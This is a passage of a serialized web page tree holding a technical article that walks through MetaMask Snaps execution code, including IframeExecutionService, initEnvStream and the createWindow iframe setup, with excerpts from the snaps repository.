URL",{"type":24,"tag":271,"props":43342,"children":43343},{"style":288},[43344],{"type":29,"value":606},{"type":24,"tag":271,"props":43346,"children":43347},{"style":630},[43348],{"type":29,"value":43349},"process",{"type":24,"tag":271,"props":43351,"children":43352},{"style":288},[43353],{"type":29,"value":41},{"type":24,"tag":271,"props":43355,"children":43356},{"style":630},[43357],{"type":29,"value":43358},"env",{"type":24,"tag":271,"props":43360,"children":43361},{"style":288},[43362],{"type":29,"value":41},{"type":24,"tag":271,"props":43364,"children":43365},{"style":630},[43366],{"type":29,"value":43367},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":24,"tag":271,"props":43369,"children":43370},{"style":288},[43371],{"type":29,"value":14453},{"type":24,"tag":271,"props":43373,"children":43374},{"class":273,"line":312},[43375,43380,43385,43389,43394,43398,43403],{"type":24,"tag":271,"props":43376,"children":43377},{"style":630},[43378],{"type":29,"value":43379}," messenger:",{"type":24,"tag":271,"props":43381,"children":43382},{"style":278},[43383],{"type":29,"value":43384}," this",{"type":24,"tag":271,"props":43386,"children":43387},{"style":288},[43388],{"type":29,"value":41},{"type":24,"tag":271,"props":43390,"children":43391},{"style":630},[43392],{"type":29,"value":43393},"controllerMessenger",{"type":24,"tag":271,"props":43395,"children":43396},{"style":288},[43397],{"type":29,"value":41},{"type":24,"tag":271,"props":43399,"children":43400},{"style":598},[43401],{"type":29,"value":43402},"getRestricted",{"type":24,"tag":271,"props":43404,"children":43405},{"style":288},[43406],{"type":29,"value":22837},{"type":24,"tag":271,"props":43408,"children":43409},{"class":273,"line":321},[43410,43415,43420],{"type":24,"tag":271,"props":43411,"children":43412},{"style":630},[43413],{"type":29,"value":43414}," name:",{"type":24,"tag":271,"props":43416,"children":43417},{"style":378},[43418],{"type":29,"value":43419}," 'ExecutionService'",{"type":24,"tag":271,"props":43421,"children":43422},{"style":288},[43423],{"type":29,"value":638},{"type":24,"tag":271,"props":43425,"children":43426},{"class":273,"line":330},[43427],{"type":24,"tag":271,"props":43428,"children":43429},{"style":288},[43430],{"type":29,"value":43431}," }),\n",{"type":24,"tag":271,"props":43433,"children":43434},{"class":273,"line":339},[43435,43440,43444,43448,43453,43457,43462,43466,43470],{"type":24,"tag":271,"props":43436,"children":43437},{"style":630},[43438],{"type":29,"value":43439}," setupSnapProvider:",{"type":24,"tag":271,"props":43441,"children":43442},{"style":278},[43443],{"type":29,"value":43384},{"type":24,"tag":271,"props":43445,"children":43446},{"style":288},[43447],{"type":29,"value":41},{"type":24,"tag":271,"props":43449,"children":43450},{"style":630},[43451],{"type":29,"value":43452},"setupSnapProvider",{"type":24,"tag":271,"props":43454,"children":43455},{"style":288},[43456],{"type":29,"value":41},{"type":24,"tag":271,"props":43458,"children":43459},{"style":598},[43460],{"type":29,"value":43461},"bind",{"type":24,"tag":271,"props":43463,"children":43464},{"style":288},[43465],{"type":29,"value":606},{"type":24,"tag":271,"props":43467,"children":43468},{"style":278},[43469],{"type":29,"value":25385},{"type":24,"tag":271,"props":43471,"children":43472},{"style":288},[43473],{"type":29,"value":14453},{"type":24,"tag":271,"props":43475,"children":43476},{"class":273,"line":347},[43477],{"type":24,"tag":271,"props":43478,"children":43479},{"style":288},[43480],{"type":29,"value":4006},{"type":24,"tag":271,"props":43482,"children":43483},{"class":273,"line":356},[43484],{"type":24,"tag":271,"props":43485,"children":43486},{"emptyLinePlaceholder":16},[43487],{"type":29,"value":327},{"type":24,"tag":271,"props":43489,"children":43490},{"class":273,"line":365},[43491],{"type":24,"tag":271,"props":43492,"children":43493},{"style":2058},[43494],{"type":29,"value":43495},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":24,"tag":271,"props":43497,"children":43498},{"class":273,"line":374},[43499,43503,43507,43511,43515,43519],{"type":24,"tag":271,"props":43500,"children":43501},{"style":630},[43502],{"type":29,"value":43349},{"type":24,"tag":271,"props":43504,"children":43505},{"style":288},[43506],{"type":29,"value":41},{"type":24,"tag":271,"props":43508,"children":43509},{"style":630},[43510],{"type":29,"value":43358},{"type":24,"tag":271,"props":43512,"children":43513},{"style":288},[43514],{"type":29,"value":41},{"type":24,"tag":271,"props":43516,"children":43517},{"style":630},[43518],{"type":29,"value":43367},{"type":24,"tag":271,"props":43520,"children":43521},{"style":624},[43522],{"type":29,"value":43523}," =\n",{"type":24,"tag":271,"props":43525,"children":43526},{"class":273,"line":384},[43527,43532],{"type":24,"tag":271,"props":43528,"children":43529},{"style":378},[43530],{"type":29,"value":43531}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":24,"tag":271,"props":43533,"children":43534},{"style":288},[43535],{"type":29,"value":1069},{"type":24,"tag":271,"props":43537,"children":43538},{"class":273,"line":393},[43539],{"type":24,"tag":271,"props":43540,"children":43541},{"style":2058},[43542],{"type":29,"value":43303},{"type":24,"tag":25,"props":43544,"children":43545},{},[43546,43548,43554,43556,43562,43564,43569],{"type":29,"value":43547},"This code is defining the ",{"type":24,"tag":135,"props":43549,"children":43551},{"className":43550},[],[43552],{"type":29,"value":43553},"snapExecutionServiceArgs",{"type":29,"value":43555}," object, which contains information required for the ",{"type":24,"tag":135,"props":43557,"children":43559},{"className":43558},[],[43560],{"type":29,"value":43561},"IframeExecutionService",{"type":29,"value":43563}," to execute snaps. The ",{"type":24,"tag":135,"props":43565,"children":43567},{"className":43566},[],[43568],{"type":29,"value":43367},{"type":29,"value":43570}," points to the location where the execution environment resides.",{"type":24,"tag":26585,"props":43572,"children":43574},{"id":43573},"executing-snaps-iframeexecutionservice-in-action",[43575],{"type":29,"value":43576},"Executing Snaps: IframeExecutionService in Action",{"type":24,"tag":25,"props":43578,"children":43579},{},[43580,43582,43587,43589,43595],{"type":29,"value":43581},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":24,"tag":135,"props":43583,"children":43585},{"className":43584},[],[43586],{"type":29,"value":43561},{"type":29,"value":43588}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":24,"tag":32,"props":43590,"children":43593},{"href":43591,"rel":43592},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[36],[43594],{"type":29,"value":135},{"type":29,"value":12210},{"type":24,"tag":261,"props":43597,"children":43601},{"className":43598,"code":43599,"language":43600,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[43602],{"type":24,"tag":135,"props":43603,"children":43604},{"__ignoreMap":7},[43605,43613,43642,43672,43725,43762,43769,43776,43784,43791,43798,43806,43841,43849,43905,43967,43975],{"type":24,"tag":271,"props":43606,"children":43607},{"class":273,"line":274},[43608],{"type":24,"tag":271,"props":43609,"children":43610},{"style":2058},[43611],{"type":29,"value":43612},"// Register message handlers for snap interactions\n",{"type":24,"tag":271,"props":43614,"children":43615},{"class":273,"line":284},[43616,43620,43624,43629,43633,43638],{"type":24,"tag":271,"props":43617,"children":43618},{"style":278},[43619],{"type":29,"value":25385},{"type":24,"tag":271,"props":43621,"children":43622},{"style":288},[43623],{"type":29,"value":41},{"type":24,"tag":271,"props":43625,"children":43626},{"style":630},[43627],{"type":29,"value":43628},"#messenger",{"type":24,"tag":271,"props":43630,"children":43631},{"style":288},[43632],{"type":29,"value":41},{"type":24,"tag":271,"props":43634,"children":43635},{"style":598},[43636],{"type":29,"value":43637},"registerActionHandler",{"type":24,"tag":271,"props":43639,"children":43640},{"style":288},[43641],{"type":29,"value":4028},{"type":24,"tag":271,"props":43643,"children":43644},{"class":273,"line":294},[43645,43650,43654,43659,43663,43668],{"type":24,"tag":271,"props":43646,"children":43647},{"style":378},[43648],{"type":29,"value":43649}," `",{"type":24,"tag":271,"props":43651,"children":43652},{"style":278},[43653],{"type":29,"value":41777},{"type":24,"tag":271,"props":43655,"children":43656},{"style":630},[43657],{"type":29,"value":43658},"controllerName",{"type":24,"tag":271,"props":43660,"children":43661},{"style":278},[43662],{"type":29,"value":41809},{"type":24,"tag":271,"props":43664,"children":43665},{"style":378},[43666],{"type":29,"value":43667},":handleRpcRequest`",{"type":24,"tag":271,"props":43669,"children":43670},{"style":288},[43671],{"type":29,"value":638},{"type":24,"tag":271,"props":43673,"children":43674},{"class":273,"line":303},[43675,43680,43684,43689,43693,43698,43702,43707,43711,43716,43720],{"type":24,"tag":271,"props":43676,"children":43677},{"style":278},[43678],{"type":29,"value":43679}," async",{"type":24,"tag":271,"props":43681,"children":43682},{"style":288},[43683],{"type":29,"value":1357},{"type":24,"tag":271,"props":43685,"children":43686},{"style":630},[43687],{"type":29,"value":43688},"snapId",{"type":24,"tag":271,"props":43690,"children":43691},{"style":624},[43692],{"type":29,"value":12210},{"type":24,"tag":271,"props":43694,"children":43695},{"style":3887},[43696],{"type":29,"value":43697}," string",{"type":24,"tag":271,"props":43699,"children":43700},{"style":288},[43701],{"type":29,"value":158},{"type":24,"tag":271,"props":43703,"children":43704},{"style":630},[43705],{"type":29,"value":43706},"options",{"type":24,"tag":271,"props":43708,"children":43709},{"style":624},[43710],{"type":29,"value":12210},{"type":24,"tag":271,"props":43712,"children":43713},{"style":3887},[43714],{"type":29,"value":43715}," SnapRpcHookArgs",{"type":24,"tag":271,"props":43717,"children":43718},{"style":288},[43719],{"type":29,"value":8823},{"type":24,"tag":271,"props":43721,"children":43722},{"style":278},[43723],{"type":29,"value":43724},"=>\n",{"type":24,"tag":271,"props":43726,"children":43727},{"class":273,"line":312},[43728,43733,43737,43742,43746,43750,43754,43758],{"type":24,"tag":271,"props":43729,"children":43730},{"style":278},[43731],{"type":29,"value":43732}," this",{"type":24,"tag":271,"props":43734,"children":43735},{"style":288},[43736],{"type":29,"value":41},{"type":24,"tag":271,"props":43738,"children":43739},{"style":598},[43740],{"type":29,"value":43741},"handleRpcRequest",{"type":24,"tag":271,"props":43743,"children":43744},{"style":288},[43745],{"type":29,"value":606},{"type":24,"tag":271,"props":43747,"children":43748},{"style":630},[43749],{"type":29,"value":43688},{"type":24,"tag":271,"props":43751,"children":43752},{"style":288},[43753],{"type":29,"value":158},{"type":24,"tag":271,"props":43755,"children":43756},{"style":630},[43757],{"type":29,"value":43706},{"type":24,"tag":271,"props":43759,"children":43760},{"style":288},[43761],{"type":29,"value":14453},{"type":24,"tag":271,"props":43763,"children":43764},{"class":273,"line":321},[43765],{"type":24,"tag":271,"props":43766,"children":43767},{"style":288},[43768],{"type":29,"value":1155},{"type":24,"tag":271,"props":43770,"children":43771},{"class":273,"line":330},[43772],{"type":24,"tag":271,"props":43773,"children":43774},{"emptyLinePlaceholder":16},[43775],{"type":29,"value":327},{"type":24,"tag":271,"props":43777,"children":43778},{"class":273,"line":339},[43779],{"type":24,"tag":271,"props":43780,"children":43781},{"style":2058},[43782],{"type":29,"value":43783},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":24,"tag":271,"props":43785,"children":43786},{"class":273,"line":347},[43787],{"type":24,"tag":271,"props":43788,"children":43789},{"style":2058},[43790],{"type":29,"value":43303},{"type":24,"tag":271,"props":43792,"children":43793},{"class":273,"line":356},[43794],{"type":24,"tag":271,"props":43795,"children":43796},{"emptyLinePlaceholder":16},[43797],{"type":29,"value":327},{"type":24,"tag":271,"props":43799,"children":43800},{"class":273,"line":365},[43801],{"type":24,"tag":271,"props":43802,"children":43803},{"style":2058},[43804],{"type":29,"value":43805},"// Execute a snap\n",{"type":24,"tag":271,"props":43807,"children":43808},{"class":273,"line":374},[43809,43814,43819,43823,43828,43832,43837],{"type":24,"tag":271,"props":43810,"children":43811},{"style":630},[43812],{"type":29,"value":43813},"async",{"type":24,"tag":271,"props":43815,"children":43816},{"style":598},[43817],{"type":29,"value":43818}," executeSnap",{"type":24,"tag":271,"props":43820,"children":43821},{"style":288},[43822],{"type":29,"value":606},{"type":24,"tag":271,"props":43824,"children":43825},{"style":630},[43826],{"type":29,"value":43827},"snapData",{"type":24,"tag":271,"props":43829,"children":43830},{"style":288},[43831],{"type":29,"value":23028},{"type":24,"tag":271,"props":43833,"children":43834},{"style":630},[43835],{"type":29,"value":43836},"SnapExecutionData",{"type":24,"tag":271,"props":43838,"children":43839},{"style":288},[43840],{"type":29,"value":919},{"type":24,"tag":271,"props":43842,"children":43843},{"class":273,"line":384},[43844],{"type":24,"tag":271,"props":43845,"children":43846},{"style":2058},[43847],{"type":29,"value":43848}," // Initialize job, streams, and environment\n",{"type":24,"tag":271,"props":43850,"children":43851},{"class":273,"line":393},[43852,43857,43861,43866,43871,43875,43880,43884,43888,43893,43897,43901],{"type":24,"tag":271,"props":43853,"children":43854},{"style":278},[43855],{"type":29,"value":43856}," const",{"type":24,"tag":271,"props":43858,"children":43859},{"style":288},[43860],{"type":29,"value":17293},{"type":24,"tag":271,"props":43862,"children":43863},{"style":630},[43864],{"type":29,"value":43865},"jobId",{"type":24,"tag":271,"props":43867,"children":43868},{"style":288},[43869],{"type":29,"value":43870}," } ",{"type":24,"tag":271,"props":43872,"children":43873},{"style":624},[43874],{"type":29,"value":762},{"type":24,"tag":271,"props":43876,"children":43877},{"style":749},[43878],{"type":29,"value":43879}," await",{"type":24,"tag":271,"props":43881,"children":43882},{"style":278},[43883],{"type":29,"value":43384},{"type":24,"tag":271,"props":43885,"children":43886},{"style":288},[43887],{"type":29,"value":41},{"type":24,"tag":271,"props":43889,"children":43890},{"style":598},[43891],{"type":29,"value":43892},"initJob",{"type":24,"tag":271,"props":43894,"children":43895},{"style":288},[43896],{"type":29,"value":606},{"type":24,"tag":271,"props":43898,"children":43899},{"style":630},[43900],{"type":29,"value":43827},{"type":24,"tag":271,"props":43902,"children":43903},{"style":288},[43904],{"type":29,"value":1155},{"type":24,"tag":271,"props":43906,"children":43907},{"class":273,"line":402},[43908,43912,43916,43921,43925,43930,43934,43938,43942,43946,43950,43955,43959,43963],{"type":24,"tag":271,"props":43909,"children":43910},{"style":278},[43911],{"type":29,"value":43856},{"type":24,"tag":271,"props":43913,"children":43914},{"style":288},[43915],{"type":29,"value":17293},{"type":24,"tag":271,"props":43917,"children":43918},{"style":630},[43919],{"type":29,"value":43920},"worker",{"type":24,"tag":271,"props":43922,"children":43923},{"style":288},[43924],{"type":29,"value":158},{"type":24,"tag":271,"props":43926,"children":43927},{"style":630},[43928],{"type":29,"value":43929},"stream",{"type":24,"tag":271,"props":43931,"children":43932},{"style":288},[43933],{"type":29,"value":43870},{"type":24,"tag":271,"props":43935,"children":43936},{"style":624},[43937],{"type":29,"value":762},{"type":24,"tag":271,"props":43939,"children":43940},{"style":749},[43941],{"type":29,"value":43879},{"type":24,"tag":271,"props":43943,"children":43944},{"style":278},[43945],{"type":29,"value":43384},{"type":24,"tag":271,"props":43947,"children":43948},{"style":288},[43949],{"type":29,"value":41},{"type":24,"tag":271,"props":43951,"children":43952},{"style":598},[43953],{"type":29,"value":43954},"initEnvStream",{"type":24,"tag":271,"props":43956,"children":43957},{"style":288},[43958],{"type":29,"value":606},{"type":24,"tag":271,"props":43960,"children":43961},{"style":630},[43962],{"type":29,"value":43865},{"type":24,"tag":271,"props":43964,"children":43965},{"style":288},[43966],{"type":29,"value":1155},{"type":24,"tag":271,"props":43968,"children":43969},{"class":273,"line":411},[43970],{"type":24,"tag":271,"props":43971,"children":43972},{"style":2058},[43973],{"type":29,"value":43974}," // ...\n",{"type":24,"tag":271,"props":43976,"children":43977},{"class":273,"line":420},[43978],{"type":24,"tag":271,"props":43979,"children":43980},{"style":288},[43981],{"type":29,"value":1171},{"type":24,"tag":25,"props":43983,"children":43984},{},[43985,43986,43991,43993,43999],{"type":29,"value":1422},{"type":24,"tag":135,"props":43987,"children":43989},{"className":43988},[],[43990],{"type":29,"value":43561},{"type":29,"value":43992}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":24,"tag":135,"props":43994,"children":43996},{"className":43995},[],[43997],{"type":29,"value":43998},"${controllerName}:executeSnap",{"type":29,"value":44000}," handler triggers the snap execution process.",{"type":24,"tag":26585,"props":44002,"children":44004},{"id":44003},"step-by-step-execution-from-initialization-to-iframe-creation",[44005,44007],{"type":29,"value":44006},"Step-by-Step Execution: From Initialization to iFrame ",{"type":24,"tag":32,"props":44008,"children":44011},{"href":44009,"rel":44010},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[36],[44012],{"type":29,"value":44013},"creation",{"type":24,"tag":261,"props":44015,"children":44017},{"className":43598,"code":44016,"language":43600,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[44018],{"type":24,"tag":135,"props":44019,"children":44020},{"__ignoreMap":7},[44021,44070,44091,44112,44120,44184,44191,44219,44236,44253,44270,44287,44294,44301,44325],{"type":24,"tag":271,"props":44022,"children":44023},{"class":273,"line":274},[44024,44029,44034,44039,44043,44047,44051,44055,44060,44065],{"type":24,"tag":271,"props":44025,"children":44026},{"style":630},[44027],{"type":29,"value":44028},"protected",{"type":24,"tag":271,"props":44030,"children":44031},{"style":630},[44032],{"type":29,"value":44033}," async",{"type":24,"tag":271,"props":44035,"children":44036},{"style":598},[44037],{"type":29,"value":44038}," initEnvStream",{"type":24,"tag":271,"props":44040,"children":44041},{"style":288},[44042],{"type":29,"value":606},{"type":24,"tag":271,"props":44044,"children":44045},{"style":630},[44046],{"type":29,"value":43865},{"type":24,"tag":271,"props":44048,"children":44049},{"style":288},[44050],{"type":29,"value":23028},{"type":24,"tag":271,"props":44052,"children":44053},{"style":630},[44054],{"type":29,"value":37341},{"type":24,"tag":271,"props":44056,"children":44057},{"style":288},[44058],{"type":29,"value":44059},"): ",{"type":24,"tag":271,"props":44061,"children":44062},{"style":3887},[44063],{"type":29,"value":44064},"Promise",{"type":24,"tag":271,"props":44066,"children":44067},{"style":288},[44068],{"type":29,"value":44069},"\u003C{\n",{"type":24,"tag":271,"props":44071,"children":44072},{"class":273,"line":284},[44073,44078,44082,44087],{"type":24,"tag":271,"props":44074,"children":44075},{"style":630},[44076],{"type":29,"value":44077}," worker",{"type":24,"tag":271,"props":44079,"children":44080},{"style":624},[44081],{"type":29,"value":12210},{"type":24,"tag":271,"props":44083,"children":44084},{"style":3887},[44085],{"type":29,"value":44086}," Window",{"type":24,"tag":271,"props":44088,"children":44089},{"style":288},[44090],{"type":29,"value":1069},{"type":24,"tag":271,"props":44092,"children":44093},{"class":273,"line":294},[44094,44099,44103,44108],{"type":24,"tag":271,"props":44095,"children":44096},{"style":630},[44097],{"type":29,"value":44098}," stream",{"type":24,"tag":271,"props":44100,"children":44101},{"style":624},[44102],{"type":29,"value":12210},{"type":24,"tag":271,"props":44104,"children":44105},{"style":3887},[44106],{"type":29,"value":44107}," BasePostMessageStream",{"type":24,"tag":271,"props":44109,"children":44110},{"style":288},[44111],{"type":29,"value":1069},{"type":24,"tag":271,"props":44113,"children":44114},{"class":273,"line":303},[44115],{"type":24,"tag":271,"props":44116,"children":44117},{"style":288},[44118],{"type":29,"value":44119}," }> {\n",{"type":24,"tag":271,"props":44121,"children":44122},{"class":273,"line":312},[44123,44128,44133,44137,44141,44146,44150,44154,44158,44163,44167,44172,44176,44180],{"type":24,"tag":271,"props":44124,"children":44125},{"style":288},[44126],{"type":29,"value":44127}," const ",{"type":24,"tag":271,"props":44129,"children":44130},{"style":630},[44131],{"type":29,"value":44132},"iframeWindow",{"type":24,"tag":271,"props":44134,"children":44135},{"style":624},[44136],{"type":29,"value":1712},{"type":24,"tag":271,"props":44138,"children":44139},{"style":749},[44140],{"type":29,"value":43879},{"type":24,"tag":271,"props":44142,"children":44143},{"style":598},[44144],{"type":29,"value":44145}," createWindow",{"type":24,"tag":271,"props":44147,"children":44148},{"style":288},[44149],{"type":29,"value":606},{"type":24,"tag":271,"props":44151,"children":44152},{"style":278},[44153],{"type":29,"value":25385},{"type":24,"tag":271,"props":44155,"children":44156},{"style":288},[44157],{"type":29,"value":41},{"type":24,"tag":271,"props":44159,"children":44160},{"style":630},[44161],{"type":29,"value":44162},"iframeUrl",{"type":24,"tag":271,"props":44164,"children":44165},{"style":288},[44166],{"type":29,"value":41},{"type":24,"tag":271,"props":44168,"children":44169},{"style":598},[44170],{"type":29,"value":44171},"toString",{"type":24,"tag":271,"props":44173,"children":44174},{"style":288},[44175],{"type":29,"value":26067},{"type":24,"tag":271,"props":44177,"children":44178},{"style":630},[44179],{"type":29,"value":43865},{"type":24,"tag":271,"props":44181,"children":44182},{"style":288},[44183],{"type":29,"value":1155},{"type":24,"tag":271,"props":44185,"children":44186},{"class":273,"line":321},[44187],{"type":24,"tag":271,"props":44188,"children":44189},{"emptyLinePlaceholder":16},[44190],{"type":29,"value":327},{"type":24,"tag":271,"props":44192,"children":44193},{"class":273,"line":330},[44194,44198,44202,44206,44210,44215],{"type":24,"tag":271,"props":44195,"children":44196},{"style":288},[44197],{"type":29,"value":44127},{"type":24,"tag":271,"props":44199,"children":44200},{"style":630},[44201],{"type":29,"value":43929},{"type":24,"tag":271,"props":44203,"children":44204},{"style":624},[44205],{"type":29,"value":1712},{"type":24,"tag":271,"props":44207,"children":44208},{"style":278},[44209],{"type":29,"value":39603},{"type":24,"tag":271,"props":44211,"children":44212},{"style":598},[44213],{"type":29,"value":44214}," WindowPostMessageStream",{"type":24,"tag":271,"props":44216,"children":44217},{"style":288},[44218],{"type":29,"value":22837},{"type":24,"tag":271,"props":44220,"children":44221},{"class":273,"line":339},[44222,44227,44232],{"type":24,"tag":271,"props":44223,"children":44224},{"style":630},[44225],{"type":29,"value":44226}," name:",{"type":24,"tag":271,"props":44228,"children":44229},{"style":378},[44230],{"type":29,"value":44231}," 'parent'",{"type":24,"tag":271,"props":44233,"children":44234},{"style":288},[44235],{"type":29,"value":638},{"type":24,"tag":271,"props":44237,"children":44238},{"class":273,"line":347},[44239,44244,44249],{"type":24,"tag":271,"props":44240,"children":44241},{"style":630},[44242],{"type":29,"value":44243}," target:",{"type":24,"tag":271,"props":44245,"children":44246},{"style":378},[44247],{"type":29,"value":44248}," 'child'",{"type":24,"tag":271,"props":44250,"children":44251},{"style":288},[44252],{"type":29,"value":638},{"type":24,"tag":271,"props":44254,"children":44255},{"class":273,"line":356},[44256,44261,44266],{"type":24,"tag":271,"props":44257,"children":44258},{"style":630},[44259],{"type":29,"value":44260}," targetWindow:",{"type":24,"tag":271,"props":44262,"children":44263},{"style":630},[44264],{"type":29,"value":44265}," iframeWindow",{"type":24,"tag":271,"props":44267,"children":44268},{"style":288},[44269],{"type":29,"value":638},{"type":24,"tag":271,"props":44271,"children":44272},{"class":273,"line":365},[44273,44278,44283],{"type":24,"tag":271,"props":44274,"children":44275},{"style":630},[44276],{"type":29,"value":44277}," targetOrigin:",{"type":24,"tag":271,"props":44279,"children":44280},{"style":378},[44281],{"type":29,"value":44282}," '*'",{"type":24,"tag":271,"props":44284,"children":44285},{"style":288},[44286],{"type":29,"value":638},{"type":24,"tag":271,"props":44288,"children":44289},{"class":273,"line":374},[44290],{"type":24,"tag":271,"props":44291,"children":44292},{"style":288},[44293],{"type":29,"value":39927},{"type":24,"tag":271,"props":44295,"children":44296},{"class":273,"line":384},[44297],{"type":24,"tag":271,"props":44298,"children":44299},{"emptyLinePlaceholder":16},[44300],{"type":29,"value":327},{"type":24,"tag":271,"props":44302,"children":44303},{"class":273,"line":393},[44304,44309,44313,44317,44321],{"type":24,"tag":271,"props":44305,"children":44306},{"style":288},[44307],{"type":29,"value":44308}," return { worker: ",{"type":24,"tag":271,"props":44310,"children":44311},{"style":630},[44312],{"type":29,"value":44132},{"type":24,"tag":271,"props":44314,"children":44315},{"style":288},[44316],{"type":29,"value":158},{"type":24,"tag":271,"props":44318,"children":44319},{"style":630},[44320],{"type":29,"value":43929},{"type":24,"tag":271,"props":44322,"children":44323},{"style":288},[44324],{"type":29,"value":25991},{"type":24,"tag":271,"props":44326,"children":44327},{"class":273,"line":402},[44328],{"type":24,"tag":271,"props":44329,"children":44330},{"style":288},[44331],{"type":29,"value":13588},{"type":24,"tag":25,"props":44333,"children":44334},{},[44335,44337,44343,44345,44352],{"type":29,"value":44336},"Here the iframe is created via ",{"type":24,"tag":135,"props":44338,"children":44340},{"className":44339},[],[44341],{"type":29,"value":44342},"createWindow",{"type":29,"value":44344},", which is defined in snaps-utils ",{"type":24,"tag":32,"props":44346,"children":44349},{"href":44347,"rel":44348},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[36],[44350],{"type":29,"value":44351},"package",{"type":29,"value":12210},{"type":24,"tag":261,"props":44354,"children":44356},{"className":43598,"code":44355,"language":43600,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[44357],{"type":24,"tag":135,"props":44358,"children":44359},{"__ignoreMap":7},[44360,44403,44441,44478,44485,44505,44543,44550,44587],{"type":24,"tag":271,"props":44361,"children":44362},{"class":273,"line":274},[44363,44367,44372,44376,44381,44385,44390,44394,44399],{"type":24,"tag":271,"props":44364,"children":44365},{"style":278},[44366],{"type":29,"value":611},{"type":24,"tag":271,"props":44368,"children":44369},{"style":630},[44370],{"type":29,"value":44371}," iframe",{"type":24,"tag":271,"props":44373,"children":44374},{"style":624},[44375],{"type":29,"value":1712},{"type":24,"tag":271,"props":44377,"children":44378},{"style":630},[44379],{"type":29,"value":44380}," document",{"type":24,"tag":271,"props":44382,"children":44383},{"style":288},[44384],{"type":29,"value":41},{"type":24,"tag":271,"props":44386,"children":44387},{"style":598},[44388],{"type":29,"value":44389},"createElement",{"type":24,"tag":271,"props":44391,"children":44392},{"style":288},[44393],{"type":29,"value":606},{"type":24,"tag":271,"props":44395,"children":44396},{"style":378},[44397],{"type":29,"value":44398},"'iframe'",{"type":24,"tag":271,"props":44400,"children":44401},{"style":288},[44402],{"type":29,"value":1155},{"type":24,"tag":271,"props":44404,"children":44405},{"class":273,"line":284},[44406,44411,44415,44420,44424,44429,44433,44437],{"type":24,"tag":271,"props":44407,"children":44408},{"style":630},[44409],{"type":29,"value":44410}," iframe",{"type":24,"tag":271,"props":44412,"children":44413},{"style":288},[44414],{"type":29,"value":41},{"type":24,"tag":271,"props":44416,"children":44417},{"style":598},[44418],{"type":29,"value":44419},"setAttribute",{"type":24,"tag":271,"props":44421,"children":44422},{"style":288},[44423],{"type":29,"value":606},{"type":24,"tag":271,"props":44425,"children":44426},{"style":378},[44427],{"type":29,"value":44428},"'id'",{"type":24,"tag":271,"props":44430,"children":44431},{"style":288},[44432],{"type":29,"value":158},{"type":24,"tag":271,"props":44434,"children":44435},{"style":630},[44436],{"type":29,"value":11212},{"type":24,"tag":271,"props":44438,"children":44439},{"style":288},[44440],{"type":29,"value":1155},{"type":24,"tag":271,"props":44442,"children":44443},{"class":273,"line":294},[44444,44448,44452,44456,44460,44465,44469,44474],{"type":24,"tag":271,"props":44445,"children":44446},{"style":630},[44447],{"type":29,"value":44410},{"type":24,"tag":271,"props":44449,"children":44450},{"style":288},[44451],{"type":29,"value":41},{"type":24,"tag":271,"props":44453,"children":44454},{"style":598},[44455],{"type":29,"value":44419},{"type":24,"tag":271,"props":44457,"children":44458},{"style":288},[44459],{"type":29,"value":606},{"type":24,"tag":271,"props":44461,"children":44462},{"style":378},[44463],{"type":29,"value":44464},"'data-testid'",{"type":24,"tag":271,"props":44466,"children":44467},{"style":288},[44468],{"type":29,"value":158},{"type":24,"tag":271,"props":44470,"children":44471},{"style":378},[44472],{"type":29,"value":44473},"'snaps-iframe'",{"type":24,"tag":271,"props":44475,"children":44476},{"style":288},[44477],{"type":29,"value":1155},{"type":24,"tag":271,"props":44479,"children":44480},{"class":273,"line":303},[44481],{"type":24,"tag":271,"props":44482,"children":44483},{"emptyLinePlaceholder":16},[44484],{"type":29,"value":327},{"type":24,"tag":271,"props":44486,"children":44487},{"class":273,"line":312},[44488,44492,44496,44501],{"type":24,"tag":271,"props":44489,"children":44490},{"style":749},[44491],{"type":29,"value":5025},{"type":24,"tag":271,"props":44493,"children":44494},{"style":288},[44495],{"type":29,"value":1357},{"type":24,"tag":271,"props":44497,"children":44498},{"style":630},[44499],{"type":29,"value":44500},"sandbox",{"type":24,"tag":271,"props":44502,"children":44503},{"style":288},[44504],{"type":29,"value":919},{"type":24,"tag":271,"props":44506,"children":44507},{"class":273,"line":321},[44508,44513,44517,44521,44525,44530,44534,44539],{"type":24,"tag":271,"props":44509,"children":44510},{"style":630},[44511],{"type":29,"value":44512}," 